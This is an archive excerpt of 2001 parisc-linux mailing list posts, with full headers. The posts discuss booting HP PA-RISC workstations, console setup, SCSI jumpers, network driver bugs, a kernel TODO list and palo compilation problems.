and well and the console is switching to STI FB color console. Last
messages is after "INIT: switching to runlevel 2" and all the
"starting:..." messages (the last one is cron starting).

I *had* all the common pitfalls saved, until I had a drive crash in the
mail server and nuke all the saved mail :-(. So, if someone can tell me
the simple solution to this I'd appreciate it... If needed the output of
dmesg is at http://www.alaskatech.org/stuff/715boot.txt

Thanks!





From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] setting Date via boot admin console
Date: Sun, 15 Jul 2001 23:44:52 -0500 (CDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10107152343180.1576-100000@jesse.crash.lan>
References: <Pine.LNX.4.10.10107151740310.1407-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620309 22454 80.91.229.3 (22 Nov 2014 01:38:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 15 22:46:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pop02-srv.alltel.net (pop02.alltel.net [166.102.165.147])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88C21482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Jul 2001 22:46:11 -0600 (MDT)
Original-Received: from [162.39.130.109] by pop02-srv.alltel.net with ESMTP
          id <20010716044608.WXRJ17479.pop02-srv.alltel.net@[162.39.130.109]>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 15 Jul 2001 23:46:08 -0500
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <Pine.LNX.4.10.10107151740310.1407-100000@jesse.crash.lan>
Xref: news.gmane.org gmane.linux.ports.parisc:11644

Kill this request, I got date set, but it still doesn't boot. 
gives error initilizing the cdrom drive. 

I've tried an NEC, Sony, and Toshiba all have failed. The toshiba is the
only drive I have doubts about being good. 

Terry

On Sun, 15 Jul 2001, T. Martin wrote:

> I know this sounds like a stupid question, but whats the proper syntax for
> setting the date via boot admin, I've checked docs.hp.com and tried every
> imaginable syntax to no avail. 
> Thanks again, 
> Terry
> 
> 
> 
> Achilles' Biological Findings:
>         (1) If a child looks like his father, that's heredity.  If he
>             looks like a neighbor, that's environment.
>         (2) A lot of time has been wasted arguing over what came first
>             -- the chicken or the egg.  It was undoubtedly the
>             rooster.
> 
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 






From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] setting up the STI console on a 735/99
Date: Mon, 16 Jul 2001 08:53:18 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20010716085318.A30207@linuxcare.com>
References: <001401c10b94$29aa0c40$0f809b8e@ati.stlawrencec.on.ca> <0107131413361U.03565@flambe.ireste.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620310 22457 80.91.229.3 (22 Nov 2014 01:38:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 01:55:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 819E9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 01:55:07 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7C9F4B00C; Mon, 16 Jul 2001 08:53:18 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <0107131413361U.03565@flambe.ireste.fr>; from matthieu.lecorre@polytech.univ-nantes.fr on Fri, Jul 13, 2001 at 02:13:36PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11645

On Fri, Jul 13, 2001 at 02:13:36PM +0200, Matthieu Le Corre wrote:
> Le Jeudi 12 Juillet 2001 20:52, vous avez crit :
> > So I have now succesfully installed the base system on a external narrow
> > SCSI. I can boot off of it. Now the next question is how do I set it up to
> > go to the STI console instead of the serial?
> >
> > Ray
> 
> try console=tty on palo commande line 
> 
> i try it, messages go on console but i get a "unable to open initial console"
> and back to serial to login !

I don't know whether linux supports graphical console on 735 yet.
You could try enabling a line in /etc/inittab to spawn a getty on
tty0, and see if you then get a login prompt.

Richard





From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LOOP_CLR_FD on 735
Date: Mon, 16 Jul 2001 09:34:16 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20010716093416.B30207@linuxcare.com>
References: <B9957F974955D411829400D0B74FF27A04BF7840@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620310 22460 80.91.229.3 (22 Nov 2014 01:38:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:30 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "CARSON,KEVIN (HP-Canada,ex1)" <kevin_carson@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 02:36:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE6CB482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 02:36:05 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 4F594B00D; Mon, 16 Jul 2001 09:34:16 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <B9957F974955D411829400D0B74FF27A04BF7840@xtor01.canada.hp.com>; from kevin_carson@hp.com on Fri, Jul 13, 2001 at 01:30:01PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11646

On Fri, Jul 13, 2001 at 01:30:01PM -0400, CARSON,KEVIN (HP-Canada,ex1) wrote:
> Hi!
> 
> I've been trying the latest releases on various workstations I have access
> to.
> 
> Two of the machines are a B180L and a 735.  The B180L installs with the
> 0.9.1 CD.   When I try the 735 with 0.9.1 or 0.9.2 I get the message
> 
> 	ioctl: LOOP_CLR_FD: No such device or address
> 
> at the point where the Rescue Floppy is being installed from floppy images
> off of the CD into the Linux system partition, it just sits there.  I
> believe I saw a similiar message with the B180L but it flicked past too fast
> for me to read the entire message.

That message relates to the installer doing a loopback mount of
the rescue image.  Havn't looked at what the installer is doing to
trigger it, but it should not be causing your problem.

Richard





From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] setting up the STI console on a 735/99
Date: Mon, 16 Jul 2001 11:46:53 +0200
Organization: Ecole Polytechnique de =?iso8859-1?q?l'Universit=E9=20de?= Nantes
Lines: 38
Approved: news@gmane.org
Message-ID: <01071611465307.01046@flambe.ireste.fr>
References: <001401c10b94$29aa0c40$0f809b8e@ati.stlawrencec.on.ca> <0107131413361U.03565@flambe.ireste.fr> <20010716085318.A30207@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620310 22463 80.91.229.3 (22 Nov 2014 01:38:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 03:40:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ireste.fr (unknown [193.52.81.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BC42482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 03:40:27 -0600 (MDT)
Original-Received: from flambe.ireste.fr (flambe [193.52.81.109])
          by mail.ireste.fr (8.9.1a/jtpda-5.3.1) with SMTP id LAA03950
          for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 11:42:24 +0200 (MET DST)
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010716085318.A30207@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11647

Le Lundi 16 Juillet 2001 09:53, vous avez crit :
> On Fri, Jul 13, 2001 at 02:13:36PM +0200, Matthieu Le Corre wrote:
> > Le Jeudi 12 Juillet 2001 20:52, vous avez crit :
> > > So I have now succesfully installed the base system on a external
> > > narrow SCSI. I can boot off of it. Now the next question is how do I
> > > set it up to go to the STI console instead of the serial?
> > >
> > > Ray
> >
> > try console=tty on palo commande line
> >
> > i try it, messages go on console but i get a "unable to open initial
> > console" and back to serial to login !
>
> I don't know whether linux supports graphical console on 735 yet.
> You could try enabling a line in /etc/inittab to spawn a getty on
> tty0, and see if you then get a login prompt.

i get it !
but i get a "unable to open initial console"
console seem to work because i get the whole message to the console ....
it's a shame that i get this "unable to open initial console"

>
> Richard

-- 
_________________________________________________
  
                    Matthieu Le Corre
                  Service informatique
   Ecole Polytechnique de l'Universit de Nantes
      Matthieu.Lecorre@polytech.univ-nantes.fr
                     02.40.68.32.23
__________________________________________________




From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] help debuging HMPC
Date: Mon, 16 Jul 2001 07:38:00 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <200107161338.HAA20386@puffin.external.hp.com>
References: <20010715213157.A13729@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620311 22464 80.91.229.3 (22 Nov 2014 01:38:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 07:38:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A50F7482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 07:38:55 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id HAA20386;
	Mon, 16 Jul 2001 07:38:00 -0600
In-Reply-To: Message from rbrad@beavis.ybsoft.com (Ryan Bradetich) 
   of "Sun, 15 Jul 2001 21:31:57 MDT." <20010715213157.A13729@beavis.ybsoft.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11648

Ryan Bradetich wrote:
> Just a quick clarification:
> 
> I macro expanded dino_in32 into this:
> 	static u32 dino_in32 (struct pci_hba_data *d, u16 addr);
> 
> dino_in32 only takes two arguments, so I should check GR25 and manually
> perform the calculations in the dino_in32 to get the proper address
> passed to the _gsc_readl function, correct?  

Erm, right...dino_outX takes three...but the address is the second arg
and should be found in GR25 too. ATM, I can't explain why I found the
IO port address in GR24 when debugging a PCI problem on the A500.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HD not bootable after installation....
Date: Mon, 16 Jul 2001 07:49:34 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <200107161349.HAA20437@puffin.external.hp.com>
References: <wpedot@harris.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620311 22468 80.91.229.3 (22 Nov 2014 01:38:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Pedot, Wolfgang" <wpedot@harris.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 07:51:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05060482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 07:51:06 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id HAA20437;
	Mon, 16 Jul 2001 07:49:34 -0600
In-Reply-To: Message from "Pedot, Wolfgang" <wpedot@harris.com> 
   of "Mon, 16 Jul 2001 05:18:56 EDT." <8D4C69676E66D511A1CB00508BBBB192162690@ranmx1.ran.harris.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11649

"Pedot, Wolfgang" wrote:
> Well, the HD has a Jumper called "Auto Start" which is set. Without that
> jumper set the HD doesnt spin up. The only Jumpers set now are ID,
> AutoStart and Termination Power. There are others to but I have no Idea
> what they mean..
> 
> Option Block Mode
> Disable T.I. Sync Negotiations
> Disable Unit Attention
> 
> Any Ideas?

sorry - forgot about TI Sync jumper - you want that disabled
for workstations...I think servers are ok with having enabled (no jumper).

"Target Initiated Synchronous Negotiations" is when the Target device
(eg drive) realizes it doesn't have an agreement with the Initiator
(eg host controller) about how fast to send "synchronous" data (SDTR).
Even though the SCSI protocol allows this, older products didn't
do this and the PDC didn't need to (and can't) handle it.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HD not bootable after installation....
Date: Mon, 16 Jul 2001 11:11:53 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB192162691@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620311 22473 80.91.229.3 (22 Nov 2014 01:38:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:31 +0000 (UTC)
Cc: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: 'Grant Grundler' <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 09:11:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx2.corp.harris.com (mlbmx2.corp.harris.com [137.237.90.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2BD1482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 09:11:57 -0600 (MDT)
Original-Received: by mlbmx2.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <3M66VGM8>; Mon, 16 Jul 2001 11:11:55 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11650

Thanks! My System now boots perfectly from HD and Network.
The only disturbing thing is that the new HD is making terrible noise =
:)

greetings
Wolfgang


> "Pedot, Wolfgang" wrote:
> > Well, the HD has a Jumper called "Auto Start" which is set. Without =
that
> > jumper set the HD doesn=B4t spin up. The only Jumpers set now are =
ID,
> > AutoStart and Termination Power. There are others to but I have no =
Idea
> > what they mean..
> >=20
> > Option Block Mode
> > Disable T.I. Sync Negotiations
> > Disable Unit Attention
> >=20
> > Any Ideas?
>=20
> sorry - forgot about TI Sync jumper - you want that disabled
> for workstations...I think servers are ok with having enabled (no =
jumper).
>=20
> "Target Initiated Synchronous Negotiations" is when the Target device
> (eg drive) realizes it doesn't have an agreement with the Initiator
> (eg host controller) about how fast to send "synchronous" data =
(SDTR).
> Even though the SCSI protocol allows this, older products didn't
> do this and the PDC didn't need to (and can't) handle it.
>=20
> grant
>=20
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253




From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Holger Zessel <hzessel@grc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problem activating the optional lan card on 712/80 with 0.9-32serial
Date: Mon, 16 Jul 2001 18:29:34 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <200107161629.SAA14087@hprtdt13.grc.hp.com>
References: <20010713190310.95C7A482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620311 22477 80.91.229.3 (22 Nov 2014 01:38:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:31 +0000 (UTC)
Cc: Holger Zessel <hzessel@grc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 10:29:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAF41482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 10:29:39 -0600 (MDT)
Original-Received: from hpugrca.grc.hp.com (hpugrca.grc.hp.com [15.137.20.50])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 22052283C8; Mon, 16 Jul 2001 18:29:36 +0200 (METDST)
Original-Received: from hprtdt13.grc.hp.com (root@hprtdt13.grc.hp.com [15.140.8.218]) by hpugrca.grc.hp.com with ESMTP (8.8.6 (sendmail_886_v2)/8.7.3 SMKit7.01) id SAA26218; Mon, 16 Jul 2001 18:29:36 +0200 (METDST)
Original-Received: from localhost (hzessel@localhost [127.0.0.1]) by hprtdt13.grc.hp.com with SMTP (8.8.6/8.7.1) id SAA14087; Mon, 16 Jul 2001 18:29:35 +0200 (METDST)
X-Authentication-Warning: hprtdt13.grc.hp.com: hzessel@localhost [127.0.0.1] didn't use HELO protocol
X-Mailer: exmh version 2.0zeta 7/24/97
In-reply-to: Your message of "Fri, 13 Jul 2001 21:02:28 METDST."
             <20010713190310.95C7A482A@dsl2.external.hp.com> 
Original-Sender: hzessel@hprtdt13.grc.hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:11651

In message <20010713190310.95C7A482A@dsl2.external.hp.com>Helge Deller writes

> Hi Holger,
> 
> I think the main problem why the second lan card didn't worked was, that
> both - the first and the second card - tried to register the "eth0" device 
> name.

Hi Helge,

thanks.  Actually it makes me angry somewhat that I did not yet have
the time to look into the kernel sources myself so far.
Even I would have found the constant 'eth0' string. :-))
Though I definitely would not have been able to create a solution so far.

What makes me confused is that the card is 'supported' according to
the hw list but apparently this part of the code was not even designed
to support more than one card at all. How can this be if the code
PALINUX-2.4 started with was official 2.4 code which of course 
supported more than one lancard ?? 
Perhaps I just miss pieces of the picture here...

Since I have no time to setup a devel. environment
can you please sent me a kernel to test it ?? Regrettably you don't seem to 
be with HP otherwise I could give you access to my gecko for testing.
Do you have a system to test this on ??

regards,
Holger






From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TODO list
Date: Mon, 16 Jul 2001 10:48:55 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <200107161648.KAA20976@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620312 22481 80.91.229.3 (22 Nov 2014 01:38:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 10:50:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50A5C482A
	for <parisc-linux@parisc-linux.org>; Mon, 16 Jul 2001 10:50:02 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA20976;
	Mon, 16 Jul 2001 10:48:55 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Fri, 13 Jul 2001 20:10:08 BST." <20010713201008.Q3048@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11652

Matthew Wilcox wrote:
> 
> Here's some things which need to get fixed, courtesy of Alan Cox:
> 
>  * Documentation/parisc/unwritten appears out of date

Here's what I have so far. I'll try to finish revivewing the rest
tonight (or tomorrow) and submit bugs for what doesn't get done by the end
of the week.

grant


sys_idle	./include/asm-parisc/unistd.h:  return sys_idle();
	sys_idle() is obsolete - remove it.

reboot_setup()	arch/parisc/kernel/process.c - delete this function

machine_halt		NOP. needs someone else to review.
machine_power_on	obsolete - delete it

exit_thread		NOP
flush_thread		needs someone else to review

die
die_if_no_fixup		Do we need to export either of these?
			Don't think so. We have "die_if_kernel".

strlen_user	#define strlen_user(str) lstrnlen_user(str, 0x7fffffffL)
			Kind of klugy...is that ok?

do_check_pgt_cache	NOP. needs someone else to review.

set_pte_phys		orphaned? needs someone else to review.

ffz		./include/asm-parisc/bitops.h:extern __inline__ unsigned long ffz(unsigned long word)
		I think "static __inline__" is meant...


check_bugs	NOP. TBD.

I haven't looked at these yet:
csum_partial
csum_partial_copy
csum_partial_copy_generic
csum_partial_nocheck
csum_partial_copy_from_user
csum_tcpudp_nofold
csum_tcpudp_magic
sigaddset
sigdelset
get_cycles






From - Thu Nov 08 21:18:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problem activating the optional lan card on 712/80 with 0.9-32serial
Date: Mon, 16 Jul 2001 17:57:50 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010716175750.F3048@parcelfarce.linux.theplanet.co.uk>
References: <20010713190310.95C7A482A@dsl2.external.hp.com> <200107161629.SAA14087@hprtdt13.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620312 22482 80.91.229.3 (22 Nov 2014 01:38:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:32 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Holger Zessel <hzessel@grc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 10:57:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2C41482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 10:57:58 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15MBgs-0004jV-00; Mon, 16 Jul 2001 17:57:50 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200107161629.SAA14087@hprtdt13.grc.hp.com>; from hzessel@grc.hp.com on Mon, Jul 16, 2001 at 06:29:34PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11653

On Mon, Jul 16, 2001 at 06:29:34PM +0200, Holger Zessel wrote:
> What makes me confused is that the card is 'supported' according to
> the hw list but apparently this part of the code was not even designed
> to support more than one card at all. How can this be if the code
> PALINUX-2.4 started with was official 2.4 code which of course 
> supported more than one lancard ?? 

each network driver needs to support the ability to drive multiple cards.
i don't think anyone had tried a second network card in a gecko before.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yan Han" <yhan@uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] complier -- regarding to "palo"
Date: Mon, 16 Jul 2001 15:24:22 -0400
Lines: 80
Approved: news@gmane.org
Message-ID: <001401c10e2c$eab820d0$d10c6481@HCI009>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0011_01C10E0B.638B0990"
X-Trace: ger.gmane.org 1416620312 22485 80.91.229.3 (22 Nov 2014 01:38:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:32 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 13:30:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pony.its.uwo.ca (pony.its.uwo.ca [129.100.2.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7C6A482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 13:30:08 -0600 (MDT)
Original-Received: from HCI009 (gl-209.gaul.csd.uwo.ca [129.100.12.209])
	by pony.its.uwo.ca (8.10.2/8.10.2) with SMTP id f6GJTwV26379
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 15:29:58 -0400 (EDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:11654

This is a multi-part message in MIME format.

------=_NextPart_000_0011_01C10E0B.638B0990
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi!

Continue with the same question of "palo" compile.

After the hp box boot up, we try to do step 8 Step 8  "Initialize the =
boot loader (roughly equivalent to lilo): *** NOTE
*** change both '3's in the following command to use your partition =
number
$ palo -k /boot/vmlinux -b /boot/iplboot \
-c '3/boot/vmlinux TERM=3Dlinux HOME=3D/ root=3D/dev/sda3' \
-I /dev/sda


We cannot get palo complied.=20
1. We later try to use gcc to compile a simple c file. but gcc doesn't =
work. (the screen is blank, nothing shows up).
